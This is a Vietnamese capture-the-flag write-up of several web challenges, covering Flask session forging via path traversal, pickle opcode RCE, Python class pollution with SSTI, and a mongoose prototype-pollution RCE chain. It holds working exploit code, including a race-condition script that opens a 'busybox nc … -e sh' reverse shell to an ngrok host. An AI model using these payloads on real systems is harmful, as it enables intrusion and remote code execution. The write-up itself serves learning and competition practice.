Giải lần này mình chỉ solved được 1 bài 😥. Trong wu này mình sẽ cố gắng note lại cách debug để chuẩn bị cho kỳ SVATT sắp tới
you are a good admin
Analysis
Bài này cho ta một trang web như sau:
Nhưng tính năng đăng nhập thì không hoạt động, nhưng ta có thể thể sử dụng 2 tính năng khác, một là route /file
để đọc file và route /admin
để pickle.load data
Ta thấy mục đính của route /file là để đọc các file static, tuy nhiên vì param f
không được validate nên ta có thể path traversal và đọc mọi file tùy ý.
Ý tưởng phần này rất đơn giản, làm sao để leak được secret key từ đó tạo session admin và login as admin.
Tuy nhiên code đã filter đi những file .py
và có Python script
trong mime type. Mình không cố gắng để bypass filter này, thay vào đó mình tìm một định dạng file khác có thể chứa secret key. Lượn lờ trong file system của docker mình phát hiện file này:
Đây là file thực thi của config.py
, ta có thể dễ dàng đọc được secret key (thật ra trong giải thì mình thấy được file này từ sớm nhưng không để ý có secret key nằm trong đây 😥 đần vcl)
Okie đã có secret key, mình viết một đoạn script để gen session
from flask import Flask, session, request
import sys
app = Flask(__name__)
app.secret_key = "FAKE_KEY"
@app.route('/')
def gen_cookie():
u = request.args.get('username')
data = request.args.get('data')
print(u, file=sys.stderr)
session['user'] = u
session['data'] = data
return f"Hello {session.get('user')}"
if __name__ == '__main__':
app.run()
Giờ mình đã có thể gen session tùy thích. Tiếp đến đến vấn đề thứ 2 là exploit pickle deser nhưng bị filter R
và .
Phần này chỉ cần vài đường gg cơ bản là đã biết được đáp án, mình search bằng tiếng trung ra được rất nhiều bài chỉ cách bypass
Đọc sơ qua thì mình biết được R
là opcode của hàm __reduce__
và không chỉ R
có thể tự động được gọi khi Pickle.load mà còn 2 opcode khác là i
và o
from base64 import b64decode, b64encode
import pickle
opcode1=b'''(S'whoami'
ios
system
.'''
opcode2=b'''(cos
system
S'whoami'
o.'''
a=b64encode(opcode1)
pickle.loads(b64decode(a))
b=b64encode(opcode1)
pickle.loads(b64decode(b))
Kết quả:
Về cách opcode hoạt động như thế nào thì mọi người có thể tham khảo từ các bài blog nói trên, 2 bài tiêu biểu:
Còn về phần dấu .
, thì ký tự này biểu thị cho việc kết thúc opcode, khi bỏ đi thì vẫn thực thi được
Nhưng vì payload có độ dài không quá 32 ký tự nên mình sẽ ghi output câu lệnh ra file và dùng route /file
để đọc
Exploit
Tạo session với payload (nhớ url encode)
Truy cập /admin
với session này để trigger pickle.loads
Đọc output thông qua /file
Đọc flag cũng tương tự
baby python
Bài này là bài duy nhất mình solved trong giải, do nhận thấy có lỗi liên quan đến pollution nên mình dựng debug local. Vì bài này chỉ có 1 file app.py
xử lý chính nên cũng không cần thiết remote debug qua docker, mình dùng vscode để debug luôn cho tiện và nhanh
Setup debug
Tạo một file lauch.json
với nội dung như sau:
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "Python: Flask",
"type": "python",
"request": "launch",
"module": "flask",
"env": {
"FLASK_APP": "./src/app.py",
"FLASK_DEBUG": "1"
},
"args": [
"run",
"--no-debugger"
],
"jinja": true,
"justMyCode": true
}
]
}
Bây giờ chỉ cần start debug và chiến thoaiii
Analysis
Đây là một ứng dụng đơn giản, có đăng ký đăng nhập và nếu ta là admin có thể truy cập /flag
Tuy nhiên có một điểm đáng chú ý là chall sẽ sử dụng 1 mảng các Object của class User để lưu thông tin người dùng, mỗi khi có người dùng đăng ký nó sẽ tiến hành merge data vào Object Users rồi mới append vào mảng
Nội dung hàm merge:
Khi nhìn mình nghĩ ngay đến class pollution, tham khảo: https://tttang.com/archive/1876/
Tuy nhiên mọi chain mà ta biết đều bị filter trong waf
Ý tưởng phần này đơn giản là mình sẽ bypass blacklist, polluted secret key thành bất cứ gì, sau đó gen session admin với secret key đó để đến phần tiếp theo.
Tuy nhiên làm sao để bypass thì là một vấn đề lớn, mình mất khá nhiều thời gian để tìm ra một chain mới có thể gọi đến globals và thực hiện việc polluted, tuy nhiên khá là vô vọng. Đến khi có được hint từ anh @d47sec tác giả chall thì mình đã tìm được cách bypass đơn giản là dùng unicode 🤦♂️
Nhìn vào đoạn code trên mọi người sẽ thấy khi check waf thì code lại dùng str(request.data)
còn khi xử lý data trước khi đưa vào merge lại dùng json.loads(request.data)
. Một hàm sẽ không tự động decode uniocde còn một hàm thì có. Ví dụ khi ta gửi request sau:
Lợi dụng điều này bypass waf
dễ dàng và thực hiện polluted
Exploit
Mình gửi register với payload sau để polluted secret key thành 123
(vì đây là class pollution trong python khác với js nên có thể polluted những attribute đã được gán giá trị)
Mình cũng code script để gen session với secret key là 123
như bài trước
from flask import Flask, session, request
import sys
app = Flask(__name__)
app.secret_key = "123"
@app.route('/')
def gen_cookie():
u = request.args.get('username')
print(u, file=sys.stderr)
session['username'] = u
session['isAdmin'] = True
return f"Hello {session.get('username')}"
if __name__ == '__main__':
app.run(port=5556)
Bây giờ thì đến phần SSTI tại /flag
Tuy nhiên waf2
vẫn còn đó, mà blacklist2 khá chặt, block hết mọi khả năng exploit
black_list2 = ["{", "%" "read","import", "builtins", "system", "eval", "session" "open", "global","request", "_", "[", "]", "()", "\\", "\"", "'", "}", ".", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
Vậy thì làm sao để bypass?
Câu trả lời là không cần bypass 🙂
Mình sẽ lợi dụng class polluted phía trên để ghi đè vào 2 cái blacklist, như vậy thì có thể thoải mái exploit
Gửi request đăng ký với payload
Kết quả:
Bây giờ chỉ cần exploit ssti nữa thôi là xong
List subclasses
bằng payload:
{{''.__class__.__mro__[1].__subclasses__()}}
Tìm subProcess.Popen
bằng script sau được index thứ 382
with open('.\list.txt') as p:
check = p.read()
for index,value in enumerate(check.split(',')):
if "<class 'subprocess.Popen'>" in value:
print(index) # 382
Giờ có thể RCE tùy ý
ez-ssti
pending...
Tiệm bánh dâu tây
Bài này trong giải thì mình chỉ nhìn sơ qua và biết mongoose v6.11.2
dính CVE prototype pollution, nhưng chain để RCE thì mình chịu nên không làm tiếp.
Sau khi end thì tác giả có cho một bài blog sau: https://sec.vnpt.vn/2022/11/phan-tich-lo-hong-parse-server-prototype-pollution-remote-code-execution-cve-2022-39396/
Bài này đã nói khá chi tiết về lỗ hổng, tuy nhiên đối với chall này thì mình sẽ chủ yếu refer bài blog sau vì nó sát với solution hơn: https://hackmd.io/@webxxx/B1p8LmQto
Setup Debug
Ở bài này mình sẽ dùng remote debug, các bạn có thể debug bằng VSCode hoặc WebStorm, nhưng mình chọn dùng WebStorm để tiện cho việc evalute và thay đổi giá trị trong quá trình debug. Cho dù chọn cách nào thì cũng phải cần setup docker file như sau.
Đối với Dockerfile ta sẽ giữ nguyên, ta chỉ cần thêm dòng sau vào file docker compose:
ports:
- $NODE_LOCAL_PORT:$NODE_LOCAL_PORT
- 9229:9229
command: ["node", "--inspect=0.0.0.0:9229", "index.js"]
Đối với debug bằng vscode thì tạo một file lauch.json với config như sau:
"configurations": [
{
"type": "node",
"request": "attach",
"remoteRoot": "/src",
"port": 9229,
"address": "localhost",
"localRoot": "${workspaceFolder}\\src",
"name": "Launch Program",
"restart": true,
"protocol":"inspector"
}
]
Mình debug bằng WebStorm nên chỉ cần open project tại src code, tại phần Run/Debug Configurations, add thêm Attach to Node.js/Chrom tại localhost port 9229
Để tiến hành debug thì ta docker compose up trước sau đó start debug
Debug thành công
Analysis
Nói sơ qua về tính năng ứng dụng, đơn giản là đăng ký đăng nhập và đọc truyện, ngoài ra còn có tính năng update collections info
Như đã đề cập ở trên, bài này sẽ cần 2 CVE để khai thác. Một là để prototype pollution và 2 là chain để RCE
Đầu tiên phần dễ hơn là prototype pollution, mình tham khảo link sau: https://huntr.dev/bounties/1eef5a72-f6ab-4f61-b31d-fc66f5b4b467/
Tại tính năng update collections info ta thấy đoạn code bị dính lỗi
Tuy nhiên giá trị truyền vào key hoặc value phải là chuỗi, nên ta phải tìm cách khác để truyền Object vào từ đó mới có thể gọi chain để RCE
Okie bây giờ có 2 vấn đề cần giải quyết:
Làm sao để truyền vào Object
Và chain dẫn đến RCE
Bắt tay vào nghiên cứu CVE thứ 2, thì vô tình 2 vấn đề của chall đều được giải quyết và hướng giải quyết cũng liên kết với nhau, hay nói cách khác CVE đã giúp mình giải quyết lần lượt cả 2 vấn đề
Để dễ hiểu thì mình sẽ đi từ sink RCE, đọc bài blog thì mình biết được sink nằm ở việc biến evalFunctions
nếu là true sẽ gọi đến isolateEval
và khởi tạo một hàm Anonnymous với code bên trong là biến functionString
Cộng thêm biến này sẽ có giá trị null mặc định
Suy ra evalFunctions
sẽ là biến ta cần polluted. Để gọi đến evalFunctions
ta sẽ thông qua tính năng seri/deser của mogodb. Để ý đoạn này trong bài blog
Trong quá trình deser, hàm deserializeObject
được gọi, nếu muốn đến đoạn code ở trên mình đề cập, thì bsondata phải là code, muốn làm được điều đó thì trong quá trình seri method serializeCode
phải được thực thi. Muốn làm điều đó thì trong JSON chỉ cần có attribute là _bsontype
với value là code
serializeCode
sẽ lấy attribute code
trong JSON để gán cho functionString
Lúc này nếu gửi request có JSON như thế này để seri (Mình dùng tính năng Register vì attribute info có thể gửi đi Object)
Và truy cập login để deser
Giả sử mình đã polluted được evalFunctions thành true (mặc định là false)
Khi đó 1 hàm Anonymous được khởi tạo
Okie bây giờ đã có thể tạo hàm thực thi code, nhưng làm sao để gọi ???
Đến đây mình tham khảo đoạn sau trong blog anh @vanirxxx
Ta lợi dụng attribute đặt biệt là toJSON
để thực thi hàm, trong chall không sử dụng thư viện như bài blog, nhưng debug một hồi mọi người cũng sẽ thấy, khi chall return json response sẽ gọi đến stringify
của .../node_modules/express/lib/response.js
Nếu ta register với nội dung như sau
Thì khi return response stringify
của .../node_modules/express/lib/response.js
được gọi
Nó sẽ gọi đến JSON.stringify
với value có bao gồm attribute toJSON
của ta, từ đó ta thực thi được code
Exploit
Tuy nhiên khi thực hiện exploit, polluted evalFunctions
ứng dụng sẽ gặp lỗi và chạy không được, để bypass mình sẽ thực hiện race condition theo như blog của anh @vanirxxx
Script exploit:
import requests
from threading import Thread
import json
import random
cmd = "busybox nc 0.tcp.ap.ngrok.io 12505 -e sh"
url = "http://103.162.14.116:8888"
x = '{}'
session = requests.Session()
def regsiter(username):
jscode = f"global.process.mainModule.require('child_process').execSync('{cmd}').toString(); let a = {x}; delete a.__proto__.evalFunctions;"
json_data = {"username": f"{username}", "password": "endy", "info": {"toJSON": {"_bsontype": "Code","code": f"{jscode}"}}}
r = session.post(url+"/register", json=json_data)
def login(username):
json_data = {"username": f"{username}", "password": "endy"}
r = session.post(url+f"/login", json=json_data)
def pollute():
payload = {"key": "__proto__.evalFunctions", "value": "123"}
r = session.post(url+"/collect-info", json=payload)
print(r.text)
username = 'endy' + str(random.randint(1000, 9999))
print(username)
regsiter(username)
def race():
for i in range(300):
login(username)
def race2():
for i in range(300):
login(username)
if i == 200:
pollute()
t1 = Thread(target=race)
t2 = Thread(target=race2)
t3 = Thread(target=race)
t4 = Thread(target=race)
t5 = Thread(target=race)
t6 = Thread(target=race)
print("exploiting...")
t1.start()
t2.start()
t3.start()
t4.start()
t5.start()
t6.start()
t1.join()
t2.join()
t3.join()
t4.join()
t5.join()
t6.join()
print("Done")